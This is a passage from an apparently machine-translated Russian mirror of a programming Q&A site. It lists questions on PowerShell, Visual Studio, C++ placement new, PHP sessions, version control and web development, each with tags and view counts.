    $x = "http://google.com".Replace("http://", "")
    return $x
}

$SiteName = CleanUrl($HostHeader)
echo $SiteName

Это не сработает:

function CleanUrl($input)
{
    $x = $input.Replace("http://", "")
    return $x
}

Method invocation failed because [System.Array+SZArrayEnumerator] doesn't contain a method named 'Replace'.
At M:\PowerShell\test.ps1:13 char:21
+     $x = $input.Replace( <<<< "http://", "")

string   powershell   function   replace    

471   4   10:46, 24th August, 2020


Установка проекта установки Visual Studio 2005 завершается сбоем на сервере Terminal

У меня есть проект установки, созданный Visual Studio 2005, и состоит из проекта C# .NET 2.0 и проекта C++ MFC, а также времени выполнения C++. Он работает правильно при запуске из главной консоли, но при запуске через сеанс сервера Terminal на целевом объекте Windows XP установка завершается следующим образом - Когда Setup.exe вызывается, он немедленно аварийно завершает работу, прежде чем появится первый экран приветствия. При вызове через физическую консоль программа установки выполняется нормально.

Я решил, что могу вернуться к лабораторной машине для отладки, но она отлично работает на лабораторной машине через сервер Terminal.

Я вижу другие описания проблем установки в течение Terminal сеансов сервера, но я не вижу определенного решения. Обе машины имеют почти идентичную конфигурацию, за исключением того, что на той, которая терпит неудачу, также установлен узел GoToMyPC.

Кто-нибудь еще видел эти проблемы, и как я могу их устранить?

Спасибо,

visual-studio   installation   projects    

450   2   03:11, 21st August, 2020


Инструмент в Visual Studio 2008 для помощи в локализации

Есть ли у кого-нибудь рекомендации по инструментам, которые могут помочь с перемещением литеральных значений в файлы ресурсов для локализации?

Я использовал плагин resharper под названием RGreatX, но мне было интересно, есть ли что-нибудь еще.

Это чертовски длинный ручной процесс для перемещения строк и думаю, что должен быть лучший способ! RGreatX-это OK но может быть немного дождевик, я чувствую.

visual-studio   winforms   internationalization   vsx   extensibility    

458   4   01:34, 18th August, 2020


Создание автономных приложений в JavaScript

С увеличением мощности фреймворков JavaScript, таких как YUI, JQuery и Prototype, а также инструментов отладки, таких как Firebug, создание приложения полностью на стороне браузера JavaScript выглядит как отличный способ сделать простые приложения, такие как головоломки и специализированные калькуляторы.

Есть ли у этого какой-то недостаток, кроме раскрытия вашего исходного кода? Как вы должны обращаться с хранилищем данных для такого рода программ?

Правка: да, Gears и cookies можно использовать для локального хранения, но вы не можете легко получить доступ к файлам и другим объектам, которые уже есть у пользователя. Вы также не можете сохранить данные в файл для пользователя без того, чтобы они не вызывали некоторые функции браузера, такие как печать в PDF или сохранение страницы в виде файла.

javascript   deployment   web-applications   browser    

450   14   19:20, 1st August, 2020


Что это лучший способ, чтобы выполнить итерации через строго типизированный общего списка?

Как лучше всего перебирать строго типизированный универсальный список в C#.NET и VB.NET?

c#   .net   vb.net   generics   collections    

501   7   13:32, 27th August, 2020


Можно ли использовать новое размещение для массивов переносным способом?

Можно ли на самом деле использовать размещение нового в переносимом коде при использовании его для массивов?

Похоже, что указатель, который вы получаете от new[], не всегда совпадает с адресом, который вы передаете (5.3.4, Примечание 12 в стандарте, кажется, подтверждает, что это правильно), но я не вижу, как вы можете выделить буфер для массива, чтобы войти в него, если это так.

В следующем примере показана проблема. Скомпилированный с помощью Visual Studio, этот пример приводит к повреждению памяти:

#include <new>
#include <stdio.h>

class A
{
    public:

    A() : data(0) {}
    virtual ~A() {}
    int data;
};

int main()
{
    const int NUMELEMENTS=20;

    char *pBuffer = new char[NUMELEMENTS*sizeof(A)];
    A *pA = new(pBuffer) A[NUMELEMENTS];

    // With VC++, pA will be four bytes higher than pBuffer
    printf("Buffer address: %x, Array address: %x\n", pBuffer, pA);

    // Debug runtime will assert here due to heap corruption
    delete[] pBuffer;

    return 0;
}

Глядя на память, компилятор, похоже, использует первые четыре байта буфера для хранения подсчета количества элементов в нем. Это означает, что поскольку буфер имеет только sizeof(A)*NUMELEMENTS размер, последний элемент массива записывается в нераспределенную кучу.

Итак, вопрос в том, Можете ли вы узнать, сколько дополнительных накладных расходов требуется вашей реализации для безопасного использования placement new[]? В идеале мне нужна техника, переносимая между разными компиляторами. Обратите внимание, что, по крайней мере, в случае VC, накладные расходы, похоже, отличаются для разных классов. Например, если я удаляю виртуальный деструктор в Примере, то адрес, возвращаемый из new[], совпадает с адресом, который я передаю.

c++   arrays   compiler-construction   portability   overhead    

389   7   18:10, 18th August, 2020


Только принимать определенные ajax запросы от пользователей, прошедших проверку подлинности

Как лучше всего убедиться, что определенные вызовы ajax на определенные страницы принимаются только от аутентифицированных пользователей?

Например:

Допустим, у меня есть главная страница под названием blog.php (я знаю, творчество изобилует). Предположим также, что существует страница с именем delete.php , которая ищет параметр post_id , а затем удаляет некоторую запись из базы данных.

В этом очень надуманном примере есть некоторый механизм на blog.php, который отправляет запрос через ajax к delete.php, чтобы удалить запись.

Теперь этот механизм будет доступен только аутентифицированным пользователям на blog.php. Но что мешает кому-то просто позвонить delete.php с кучей случайных чисел и удалить все на сайте?

Я сделал быстрый тест, где я установил переменную сеанса в blog.php, а затем сделал вызов ajax в delete.php, чтобы вернуться, если переменная сеанса была установлена или нет (это не было) .

Каков общепринятый способ справиться с такими вещами?


OK. Должно быть, я сошел с ума, когда впервые попробовал это сделать.

Я просто сделал еще один тест, как тот, который я описал выше, и он работал отлично.

php   ajax   authentication    

452   2   09:40, 7th August, 2020


Рекомендации по управлению и развертыванию больших приложений JavaScript

Каковы некоторые стандартные методы управления приложением среднего размера JavaScript? Меня беспокоит как скорость загрузки браузера, так и простота и ремонтопригодность разработки.

Наш код JavaScript примерно равен "namespaced" как:

var Client = {
   var1: '',
   var2: '',

   accounts: {
      /* 100's of functions and variables */
   },

   orders: {
      /* 100's of functions and variables and subsections */
   }

   /* etc, etc  for a couple hundred kb */
}

На данный момент у нас есть один (распакованный, нескрепленный, хорошо читаемый) файл JavaScript для обработки всей бизнес-логики в веб-приложении. Кроме того, существует jQuery и несколько jQuery расширений. Проблема, с которой мы сталкиваемся, заключается в том, что требуется вечность , чтобы найти что-либо в коде JavaScript, и браузер все еще имеет дюжину файлов для загрузки.

Часто ли у вас есть несколько файлов "source" JavaScript, которые получают "compiled" в один окончательный сжатый файл JavaScript? Есть еще какие-нибудь полезные советы или рекомендации?

javascript   web-applications   deployment    

487   8   16:45, 27th August, 2020


Можно ли уговорить Visual Studio 2008 использовать курсив для комментариев?

Я довольно привык к моей настройке IDE в Delphi 7, где мои комментарии выделены курсивом.

Это не представляется возможным в VS2008. Есть только вариант для жирного шрифта, а не курсива.

Есть ли какой-то взлом реестра или магия шрифтов, которую я могу выполнить, чтобы заставить его работать? Шрифт, который я использую, - это Consolas, если это имеет значение.

Редактировать: это возможно. См. этот ответ для деталей.


Adam, насколько я могу судить, Вы не можете изменить название шрифта только для комментариев-только цвет и смелость. Если я ошибаюсь, пожалуйста, скажите мне!

visual-studio   fonts   consolas    

537   7   20:04, 24th August, 2020


Как изменить иконку файла .bat программно?

Я хотел бы знать, как на самом деле установить значок файла .bat на произвольный значок. Как бы я мог сделать это программно, независимо от языка, который я использую.

windows   icons   batch-file    

3375   9   07:29, 7th August, 2020


Java стандарт кодирования / лучшие практики-соглашение об именовании для меток break / continue

Иногда помеченный разрыв или продолжение может сделать код намного более читаемым.

OUTERLOOP: for ( ;/*stuff*/; ) {
    //...lots of code

    if ( isEnough() ) break OUTERLOOP;
    //...more code
}

Мне было интересно, какова общая конвенция для этикеток. Все шапки? первая шапка?

java   label   convention    

394   10   07:03, 13th August, 2020


Каковы правильные трафареты для объектно-реляционного построения диаграмм в visio?

Весь мой опыт Visio связан с документацией LAN/WAN. Недавно у меня появилось желание визуализировать отношения между объектами в конфигурации Nagios , и я понял, что не знаю, как это сделать правильно, и перешел к чему-то более важному. Я читал ответы на эту тему и понял, что это то, что разработчики программного обеспечения должны делать много.

Так что это, вероятно, вопрос мягкого тона, но каков правильный метод документирования отношений объектов в Visio? Есть ли лучший шаблон для использования? Какая коллекция трафаретов является правильным трафаретом?

В моем, вероятно, наивном представлении я представляю себе объект как большую коробку с одним соединителем "reception" и содержащую несколько меньших коробок, каждая из которых представляет член объекта и имеет свой собственный соединитель. Таким образом, каждое поле элемента объекта будет подключаться к соединителю "reception" на объекте типа элемента. Сами по себе эти объекты довольно легко построить. Проблема, с которой я столкнулся, заключается в том, что соединительные линии не уважали объекты и бежали поверх них, создавая ужасный, непригодный для использования беспорядок.

Спасибо за любые указатели.

uml   visualization   modeling   oop    

472   2   21:06, 1st October, 2020


Практическое применение System.WeakReference

Я понимаю, что делает System.WeakReference , но то, что я не могу понять, - это практический пример того, для чего он может быть полезен. Сам класс мне кажется, ну, в общем, халтурой. Мне кажется, что есть и другие, лучшие способы решения проблемы, когда в примерах, которые я видел, используется WeakReference. Каков канонический пример того, где вы действительно должны использовать WeakReference? Разве мы не пытаемся уйти дальше от такого типа поведения и использования этого класса?

.net   garbage-collection    

483   4   04:58, 29th August, 2020


Использование Visual Studio для разработки для C++ для Unix

Есть ли у кого-нибудь истории сражений, которыми можно поделиться, пытаясь использовать Visual Studio для разработки приложений для Unix? И я не говорю об использовании .NET с виртуальной платформой Mono или Wine, работающей под ним.

Наша компания насчитывает около 20 разработчиков, работающих под управлением Windows XP/Vista и разрабатывающих в основном для Linux & Solaris. До недавнего времени мы все входили в основной сервер Linux и модифицировали/строили код старым добрым способом: Emacs, Vi, dtpad - выбирайте сами. Затем кто - то сказал: "Эй, мы живем в темные века, мы должны использовать IDE".

Поэтому мы попробовали некоторые из них и решили, что Visual Studio была единственной, которая отвечала бы нашим требованиям к производительности (да, я уверен, что IDE X-это очень хороший IDE, но мы выбрали VS).

Проблема в том, как настроить среду, чтобы файлы были доступны локально для VS, но также доступны для сервера сборки? Мы решили написать плагин Visual Studio-он записывает наши файлы локально и на сервер сборки всякий раз, когда мы нажимаем "Save", и у нас есть немного жирная кнопка "sync", которую мы можем нажать, когда наши файлы изменяются на стороне сервера (например, когда мы обновляем последние файлы с нашего сервера управления версиями).

Плагин также использует функцию внешней системы сборки Visual Studio, которая в конечном итоге просто ssh встраивается в сервер сборки и вызывает нашу локальную утилиту "make" (которая является Boost Build v2 - имеет большую проверку зависимостей, но очень медленно запускается в результате, т. е. 30-60 секунд, чтобы начать). Результаты передаются обратно в Visual Studio, так что разработчик может нажать на ошибку и перейти к соответствующей строке кода (довольно гладко на самом деле). Сервер сборки использует GCC и кросс-компилирует все наши сборки Solaris.

Но даже после того, как мы все это сделали, я не могу не вздыхать всякий раз, когда начинаю писать код в Visual Studio. Я щелкаю файл, начинаю печатать, и VS пыхтит, чтобы догнать меня.

Есть ли что-нибудь более раздражающее, чем необходимость останавливаться и ждать ваших инструментов? Стоят ли эти преимущества такого разочарования?

Мысли, истории, помощь?

c++   visual-studio   unix   development-environment    

567   13   18:49, 10th August, 2020


Номер версии Subversion для нескольких проектов

При использовании Subversion (svn) для управления версиями с несколькими проектами я заметил, что число версий увеличивается во всех каталогах моих проектов. Чтобы проиллюстрировать мой макет svn (используя вымышленные имена проектов):

    /NinjaProg/branches
              /tags
              /trunk
    /StealthApp/branches
               /tags
               /trunk
    /SnailApp/branches
             /tags
             /trunk

Когда я выполняю коммит к стволу программы Ninja, скажем, я получаю, что он был обновлен до версии 7. На следующий день, скажем, я внес небольшое изменение в приложение Stealth, и оно возвращается как версия 8.

Вопрос заключается в следующем: является ли общепринятой практикой при обслуживании нескольких проектов с помощью одного сервера Subversion увеличение числа ревизий несвязанных проектов во всех проектах? Или я делаю это неправильно и должен создавать отдельные репозитории для каждого проекта? Или это что-то совсем другое?

EDIT: я задержался с ответом, потому что стало ясно, что есть причины для обоих подходов, и хотя этот вопрос возник первым, я хотел бы указать на некоторые другие вопросы, которые в конечном счете задают тот же самый вопрос:

Должен ли я хранить все проекты в одном репозитории или в нескольких?

Один SVN репозиторий или много?

svn   version-control   repository    

547   17   01:44, 16th August, 2020


Как я могу преобразовать все окончания строк в CRLF, LF или CR во время операций SVN

Итак, вы все готовы сделать большой коммит SVN, и он бомбит, потому что у вас есть несогласованные окончания строк в некоторых ваших файлах. Самое интересное, что вы смотрите на 1000 сек файлов, охватывающих десятки папок разной глубины.

Что ты делаешь?

svn   version-control   eol    

618   4   11:20, 3rd August, 2020


Конфигурация среды выполнения в .Net (в частности, EntLib)

Я ищу способ настроить соединение DB во время выполнения; в частности, используя корпоративную библиотеку. Я вижу, что есть *.Data.Configuration (или что-то близкое к этому ... не помню с головы) assembly но я не нахожу много на паутине. Усложняет дело тот факт, что API справка сломана на Vista.

Теперь, я нашел эту работу-вокруг:

Configuration cfg = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);
ConnectionStringSettings connection = new ConnectionStringSettings();
connection.Name = "Runtime Connection";
connection.ProviderName = "System.Data.OleDb";
connection.ConnectionString = "myconstring";
cfg.ConnectionStrings.ConnectionStrings.Add(connection);
cfg.Save(ConfigurationSaveMode.Modified);

ConfigurationManager.RefreshSection("connectionStrings");
var runtimeCon = DatabaseFactory.CreateDatabase("Runtime Connection");

И хотя он дает мне то, что я хочу, он постоянно редактирует App.config. Конечно, я могу вернуться и удалить изменения, но я бы предпочел не проходить через эту проблему.

.net   enterprise-library   connection-string    

443   3   21:06, 1st October, 2020


Это действительно YAML?

Поэтому для моего анализа текста в вопросе C# я был направлен на YAML. Я бьюсь об стену с этой библиотекой, которую мне рекомендовали, так что это быстро.

heading:
 name: A name
 taco: Yes
 age: 32

heading:
 name: Another name
 taco: No
 age: 27

И так далее. Это действительно так?

validation   yaml   well-formed    

496   8   21:39, 29th August, 2020


Проблемы с дизайном .Чистый Элемент Управления UserControl

Я создал UserControl, который имеет ListView в нем. ListView является общедоступным, хотя свойство. Когда я помещаю UserControl в форму и пытаюсь создать ListView , хотя свойство, ListView остается таким образом, пока я снова не скомпилирую, и он возвращается к состоянию по умолчанию.

Как я могу получить мои изменения дизайна, чтобы придерживаться для ListView ?

c#   user-controls   .net-2.0    

414   3   12:49, 11th August, 2020


Как лучше всего проверить файл XML на соответствие файлу XSD?

Я создаю некоторые файлы xml, которые должны соответствовать файлу xsd, который был мне дан. Как лучше всего проверить их соответствие?

java   xml   validation   xsd    

523   12   06:52, 10th August, 2020


Минимизировать javascript HTTP вызовов из AjaxControlToolkit элементов управления?

Мне нравится простота, которую предоставляет инструментарий управления ASP.NET Ajax для разработчиков ASP.NET. Однако я не нашел, что это вообще масштабируемое решение. У меня есть страница с 2 полями ввода даты. Помещая в него элемент управления TextBox и CalendarExtendar для каждого поля даты, я получаю несколько (11, по сути) внешних вызовов Javascript в /ScriptResource.axd?d=xxxx

Есть ли способ контролировать это? Почему это так отстойно? Для чего нужен лучший инструментарий Ajax .NET что может обеспечить равный (или лучший) набор функций, который является более масштабируемым, прямым и полностью настраиваемым? NOT глядя, чтобы изобрести колесо здесь.

javascript   asp.net   ajax   frontend    

514   2   21:06, 1st October, 2020


Как я могу проверить xml против файла DTD в Python

Мне нужно проверить строку XML (а не файл) против файла описания DTD.

Как это можно сделать в python году ?

python   xml   validation   dtd    

482   2   08:56, 8th August, 2020


Какие инструменты (бесплатные или другие) вы находите полезными для разработки и отладки C#/C++?

Вот некоторые из них, которые я использую (все они находятся в свободном доступе):

Hex Редактор: Hexplorer
Отладчик: WinDbg
Компилятор Документации: SandCastle
Автоматическая Сборка: Круиз Control.Net

c#   c++   debugging   compiler-construction   hex-editors    

492   8   12:39, 11th August, 2020


Оптимизация алгоритма поиска в C

Может ли производительность этого последовательного алгоритма поиска (взято из Практика программирования) может быть улучшена с помощью любой из собственных утилит C, например, если я установил переменную i в качестве переменной регистра ?

int lookup(char *word, char*array[])
{
    int i

    for (i = 0; array[i] != NULL; i++)
        if (strcmp(word, array[i]) == 0)
            return i;

    return -1;
}

c   performance   algorithm   optimization    

481   10   06:55, 15th August, 2020


CSS Выпадающем Меню - "Best"? Самый многофункциональный?

Я нахожусь в неудачном положении, когда мне приходится реализовывать выпадающее каскадное меню на сайте, который я создаю. Я ищу решение в стиле Suckerfish, которое в основном основано на CSS и работает на простом наборе вложенных ULs и LIs.

Son of Suckerfish кажется, что это путь, но мне не нравится, как он просто исчезает в ту же секунду, когда вы убираете мышь, так как пользователи с трудностями координации будут иметь кошмар навигации по сайту (или просто не беспокоить, но поскольку это корпоративный сайт, есть некоторые, кто, вероятно, придется использовать все, что я реализую).

Аккуратные функции, о которых я даже не думал, приветствуются, но два основных элемента, которые я ищу, - это:

  1. Многоуровневое использование вложенной структуры UL / LI
  2. Маленький (возможно, настраиваемый?) задержка перед исчезновением, когда меню "mouseout"-ed, даже если это предусмотрено некоторым дополнительным JavaScript.

css   navigation   suckerfish    

447   9   15:30, 27th August, 2020


Как заставить разработчиков использовать wiki

Я работаю над сложным приложением, где разные команды работают над своими собственными модулями со степенью перекрытия. Некоторое время назад мы создали экземпляр Mediawiki, частично по моей просьбе. У меня есть тяжелая работа, чтобы люди действительно использовали его, не говоря уже о том, чтобы внести свой вклад.

Я вижу много пользы в обмене информацией. Это может, по крайней мере, сократить время, когда мы изобретаем колесо.

wiki не очень структурирован, но я не уверен, что это проблема, пока вы можете искать то, что вам нужно.

Какие-нибудь намеки?

documentation   wiki   mediawiki    

446   13   14:50, 7th August, 2020


Полезный код, который использует reduce()?

Есть ли у кого-нибудь здесь полезный код, который использует функцию reduce() в python? Существует ли какой-либо код, отличный от обычных + и*, которые мы видим в примерах?

Обратитесь к судьбе reduce() в Python 3000 по GvR

python   functional-programming    

573   24   08:45, 27th August, 2020


Что IDE использовать для разработки в Ruby на Rails на Windows?

Возможный Дубликат:
Какие Ruby IDE вы предпочитаете?

Я вообще-то делал вещи на Microsoft .NET после окончания колледжа почти 2 года назад. Я просто начал смотреть на Ruby на Rails. Итак, какой редактор я должен использовать? Я использую Notepad++ прямо сейчас, но могу ли я получить отладку и т. д. каким-то образом?

ruby-on-rails   ruby   ide   editor    

405   10   09:28, 7th August, 2020


Прототипирование с помощью кода Python перед компиляцией

Я уже некоторое время обдумываю написание библиотеки peak fitting. Я знаю Python довольно хорошо и планирую реализовать все в Python для начала, но предполагаю, что мне, возможно, придется повторно реализовать некоторые основные подпрограммы на скомпилированном языке в конечном итоге.

IIRC, один из первоначальных ремитов Python был как язык прототипирования, однако Python довольно либеральен в разрешении функций, функторов, объектов для передачи в функции и методы, тогда как я подозреваю, что то же самое не верно для say C или Fortran.

Что я должен знать о проектировании функций / классов, которые я предполагаю, должны будут взаимодействовать с компилируемым языком? И сколько из этих потенциальных проблем решается такими библиотеками, как cTypes, bgen , SWIG , Boost.Python, Cython или Python SIP ?

Для этого конкретного случая использования (подходящая библиотека) я предполагаю, что пользователи могут определять математические функции (Guassian, Lorentzian и т. д.) как функции Python, которые затем могут быть переданы интерпретируемой библиотекой скомпилированного кода. Передача и возврат массивов также имеет важное значение.

python   swig   ctypes   prototyping   python-sip    

694   7   13:08, 9th August, 2020


Альтернативы Visual Sourcesafe, интегрирующиеся с Visual Studio

Я заинтересован в том, чтобы отказаться от Visual Sourcesafe в пользу приложения управления версиями, которое предлагает ветвление. Интеграция Sourcesafe в Visual Studio делает проверки / выходы легким делом. Может ли кто-нибудь предложить другие программы, которые предлагают такую же функциональность? Я бы предпочел открытый исходный код, но это не является обязательным требованием.

visual-studio   version-control   open-source    

493   17   02:10, 16th August, 2020


Вопрос об открытии файлов Visual Studio

Можно ли открыть проект в Visual Studio 2008, не открывая все файлы, которые были ранее открыты в прошлый раз, когда у меня был открыт проект? У меня есть привычка держать много файлов открытыми, когда я работаю над ними, поэтому в следующий раз, когда я открываю проект, он (очень медленно) загружает в Редактор кучу файлов, которые мне даже не нужно открывать. Я просмотрел настройки и не могу найти ничего, чтобы остановить это поведение.

visual-studio   visual-studio-2008   settings   projects-and-solutions    

429   9   23:04, 6th August, 2020


Что является лучшим способом, чтобы реплицировать хранилище контроля версий?

Вот сценарий, который у меня есть. У меня есть репозиторий cvs в одном месте (A), и я хочу реплицировать его и синхронизировать с репозиторием в другом месте(B). Это будет однонаправленная синхронизация от A до B. каков наилучший способ сделать это? Если это действительно невозможно в CVS, то какую систему управления исходным кодом вы бы порекомендовали для этого? Спасибо

version-control   cvs    

437   4   09:03, 20th August, 2020


Шрифты в Интернете

Коллекция шрифтов, доступных веб-разработчику, удручающе ограничена. Я помню, что давно читал о TrueDoc, как способе доставки шрифтов вместе с веб-сайтом , но он, похоже, томился. Кто-нибудь пользовался этим или чем-то подобным? Поддерживается ли он достаточным количеством браузеров? Я упускаю хорошее решение?

Обратите внимание, что ответственный веб-разработчик не использует шрифты, доступные только на Windows (и особенно те, которые доступны только на Vista), а также не использует технологию, которая не поддерживается по крайней мере большинством браузеров.


Обновление: как уже отмечали несколько человек, нет ничего плохого в том, чтобы предоставить список резервных шрифтов для людей, у которых нет конкретного шрифта, который вы используете. Я действительно всегда так делаю, и не хотел сказать, что это неправильно.

Хотя мой вопрос был плохо сформулирован, я имел в виду, что дизайнер не должен делать слишком много предположений о том, что клиент будет иметь в наличии. Вы должны планировать, как все пользователи будут видеть ваш сайт, а не только для людей, использующих вашу собственную предпочтительную настройку.

html   css   fonts    

488   10   08:35, 26th August, 2020


Получение номера репозитория subversion в коде

Я хотел бы реализовать способ записи версии проекта в коде, чтобы его можно было использовать при тестировании и отслеживать ошибки. Похоже, что лучшим номером версии для использования будет просто текущий номер версии из Subversion. Есть ли простой способ закрепить это число в заголовочном файле (C++ в моем случае) или что-то еще, что я могу получить в коде? Я думаю, что это пост-коммит-крючок или что-то в этом роде?

Есть ли у кого-нибудь опыт реализации этого (с кодом для обмена, пожалуйста?), или может предложить лучшую альтернативу? Спасибо.

svn   debugging   testing   revision   versions    

427   6   22:48, 8th August, 2020


Создание тестовых данных в базе данных

Я знаю о некоторых генераторах тестовых данных, но большинство из них, похоже, просто заполняют базы данных стилей имен и адресов [не стесняйтесь поправлять меня].

У нас есть большое интегрированное и нормализованное приложение - например, счета-фактуры имеют номера деталей, связанные с таблицами запасов, номера клиентов, связанные с таблицами клиентов, журналы изменений, связанные с информацией аудита, и т. д., которые, очевидно, трудно заполнить случайным образом. В настоящее время мы запутываем реальные данные, чтобы получить тестовые данные (но не очень хорошо).

Что tools\methods вы используете для создания больших объемов данных для тестирования?

database   integration-testing    

499   6   17:43, 20th August, 2020


Простой способ преобразования Crystal Reports в MS SQL Server Reporting Services

Есть ли способ легко конвертировать отчеты Crystal Reports в формат Reporting Services RDL? У нас есть довольно много отчетов, которые скоро будут нуждаться в преобразовании.

Я знаю о ручном процессе (который в основном восстанавливает все ваши отчеты с нуля в SSRS), но мои поиски указали на несколько возможностей с автоматическим преобразованием "acceleration" с несколькими консалтинговыми фирмами. (Как описано далее .... - ссылка сломана).

Есть ли у кого-нибудь из вас какой-либо действительный опыт или рекомендации по этому конкретному вопросу? Есть ли вокруг какие-то инструменты, о которых я не знаю?

sql-server   reporting-services   crystal-reports   migration    

631   9   11:34, 11th August, 2020


Легкий метод установки для справки серии windows/ необходим?

У меня есть куча файлов, которые мне нужно быстро транспортировать и устанавливать . Мой текущий метод для этого-перемещение диска flash с файлом readme, где материал идет всякий раз, когда мне нужно переместить материал, что довольно неэлегантно и громоздко.

Моя идея решения заключалась бы в том, чтобы написать быстрый скрипт для перемещения файлов, которые я мог бы просто щелкнуть. Я делал некоторые сценарии bash раньше, но пакетные сценарии немного странны для меня. У кого-нибудь есть хороший онлайн-справочник, который я мог бы использовать?

Альтернативой soulution, которую я мог бы принять, была бы программа, которая делает установщик для вас, хотя я немного против этого, поскольку я потеряю много контроля. Тем не менее, я был бы в порядке с этим, если бы это было очень просто,

windows   batch-file   installation    

454   2   06:33, 17th August, 2020


Динамическая Алфавитная Навигация

Я использую ColdFusion , чтобы вернуть результирующий набор из базы данных SQL и превратить его в список.

Мне нужен какой-то способ создать алфавитную навигационную панель для этого списка. У меня есть библиотека ColdFusion и jQuery.

Я ищу, чтобы создать что-то вроде этого:

A | B | C | ...      
- A
- A
- B
- B
- B
- C
- D

Где нажатие на одну из букв опускает вас вниз по странице до первого элемента для этой буквы. Не все 26 букв алфавита обязательно используются.

javascript   jquery   sql   html   coldfusion    

535   4   17:51, 26th August, 2020


Является ли FindFirstChangeNotification лучшим API для уведомления об изменении файловой системы на windows?

Я новичок в программировании windows и пытаюсь получать уведомления обо всех изменениях файловой системы (аналогично информации, которую отображает FileMon из SysInternals, но через API). Является ли FindFirstChangeNotification для каждого (не сетевого, не подстанционного) диска моим лучшим выбором или есть другие более подходящие C/C++ APIs?

c   windows   winapi   file   notifications    

472   4   00:14, 26th August, 2020


Как по доступной цене выпустить веб-приложение

Я бедный студент колледжа. Я построил небольшое веб-приложение в PHP5 и MySQL, и у меня уже есть домен. Каков доступный способ получить его онлайн? Несколько человек предложили услуги amazon-х cloud-х годов, но это похоже на перерезание моих запястий и наблюдение за тем, как медленно вытекают деньги. Итак, предложения? Хостинг-компании, сайты CIA drop, что-нибудь?

Обновление: много предложений было для Dreamhost. Их план предусматривает пропускную способность в 5 ТБ. Может ли кто-нибудь представить это в перспективе? Например, сколько пропускной способности получает сайт с таким трафиком StackOverflow?

hosting   web-applications    

481   8   17:00, 6th August, 2020


Интернационализация в SSRS

Каков наилучший способ обработки переводов для текста запаса в SSRS . Например , если у меня есть отчет, который показывает сетку содержимого, какой лучший способ получить правильный перевод для заголовка этой сетки, предполагая, что культура отчета установлена правильно.

Другими словами, можно ли делать ресурсы в отчете SSRS , или я застрял с сохранением всего этого текста в базе данных и запросом на него?

reporting-services   internationalization    

486   1   18:48, 6th August, 2020


Как лучше всего реализовать проверку полей с помощью ASP.NET MVC?

Я создаю общедоступный веб-сайт с использованием ASP.NET, в качестве части результата мне нужно сделать сайт администратора для ввода данных из материала, показанного на общедоступном сайте, мне было интересно, какие методы или процедуры используют люди для проверки записей с использованием ASP.NET MVC.

c#   asp.net-mvc   validation    

524   15   01:13, 7th August, 2020


Алгебраические типы данных Haskell

Я пытаюсь полностью понять все концепции Haskell.

В чем алгебраические типы данных похожи на универсальные типы, например, в C# и Java? И чем же они отличаются? И вообще, что в них такого особенного?

Я знаком с универсальной алгеброй и ее кольцами и полями, но у меня есть только смутное представление о том, как работают типы Haskell.

data-structures   haskell   types   functional-programming   algebraic-data-types    

445   0   23:21, 7th August, 2020


Доступ к параметру html в PHP

Я пытаюсь сделать простой тестовый сценарий php для сеансов. В основном он увеличивает счетчик (хранится в $_SESSION) каждый раз, когда вы обновляете эту страницу. Это работает, но я пытаюсь иметь ссылку, чтобы уничтожить сеанс, который перезагружает страницу с параметром ?destroy=1 . Я пробовал пару операторов if, чтобы увидеть, установлен ли этот параметр, и если да, то уничтожить сеанс, но он, похоже, не работает.

Я даже поместил оператор if в основной корпус, чтобы всплывающее сообщение, если параметр установлен , но он, похоже, не был поднят.

Я знаю, что делаю что-то глупое (я новичок PHP), но я не могу найти, что это такое...

Смотрите код здесь:

<?php
if ($_POST['destroy']) {
    session_destroy();
} else {
    session_start();
}    
?>

<html>
    <head>
        <title>Session test</title>
    </head>
    <body>
    <?php
    if (isset($_POST['destroy'])) {
        echo "Destroy set";
    }

    $_SESSION['counter']++;

    echo "You have visited this page " . $_SESSION['counter'] . " times" . "<BR>";
    echo "I am tracking you using the session id " . session_id() . "<BR>";
    echo "Click <a href=\"" . $_SERVER['PHP_SELF'] . "?destroy=1\">here</a> to destroy the session.";
?>

php   session    

463   5   12:14, 18th August, 2020


Структура проектов в системе управления версиями

Я знаю, что есть по крайней мере 10 различных способов структурировать проект в системе управления версиями. Мне интересно, какие методы используются и какие из них работают для вас. Я работал с SVN, TFS и в настоящее время/к сожалению VSS. Я видел, что управление версиями реализовано очень плохо и просто OK, но никогда не было большим.

Просто для того, чтобы заставить мяч катиться, вот обзор того, что я видел.

Этот пример основан на SVN, но применим к большинству VCS (не столько к распределенному управлению версиями).

  1. ветвление отдельных проектов, входящих в состав сайта /division/web/projectName/vb/src/[ствол / ветви / метки]

  2. ветвление всего сайта, в случае, который я видел, весь сайт, за исключением основных компонентов, был разветвлен. / подразделение/[ствол / ветви / метки] / web/projectName/vb/src/

  3. Используйте main-line по умолчанию, только ветвь, когда это необходимо для огромных изменений.

svn   version-control   tfs   branch   project-structure    

433   9   05:43, 10th August, 2020


Легкий контроль исходного кода

Я ищу облегченную систему управления версиями для использования в проектах "hobby", где только один человек (Я) работает над проектом. У кого-нибудь есть какие-нибудь предложения? В идеале он должен взаимодействовать с Visual Studio либо наивно, либо через другой плагин, кроме того, все, что работает, было бы неплохо заменить Gmail в качестве системы управления версиями.

version-control    

447   16   03:08, 28th August, 2020


Очистка пользовательского ввода с помощью Python

Как лучше всего очистить пользовательский ввод для веб-приложения на базе Python? Существует ли одна функция для удаления HTML символов и любых других необходимых комбинаций символов, чтобы предотвратить атаку XSS или SQL инъекций?

python   xss    

676   7   05:33, 9th August, 2020


Руководство для начинающих в Haskell?

Я уже некоторое время ищу приличный путеводитель по Haskell, но не смог найти тот, который кажется достаточно интересным для чтения и/или имеет смысл.

Несколько лет назад я уже сталкивался с Haskell, но почти ничего не помню. Я помню, что "Aha!"-чувство было невероятным, когда я наконец получил его, и это было действительно весело играть, поэтому я ищу, чтобы заново открыть потерянное искусство Haskell.

Я знаком с Ruby и его функциональными программными трюками, поэтому думаю, что я не совсем в темноте. Какие-нибудь ссылки?

haskell   functional-programming    

579   16   15:57, 25th August, 2020


Разница между массивом байтов и потоком памяти

Я читаю двоичный файл в программу синтаксического анализа. Мне нужно будет перебирать файл и искать определенные маркеры, чтобы я мог разделить файл и передать эти части в конструкторы соответствующих объектов.

Есть ли преимущество в сохранении файла в виде потока, будь то MemoryStream или FileStream, или он должен быть преобразован в массив byte[]?

Кит

performance   comparison    

456   2   16:24, 4th August, 2020


Кто на самом деле использует DataGrid/GridView/FormView/etc в производственных приложениях?

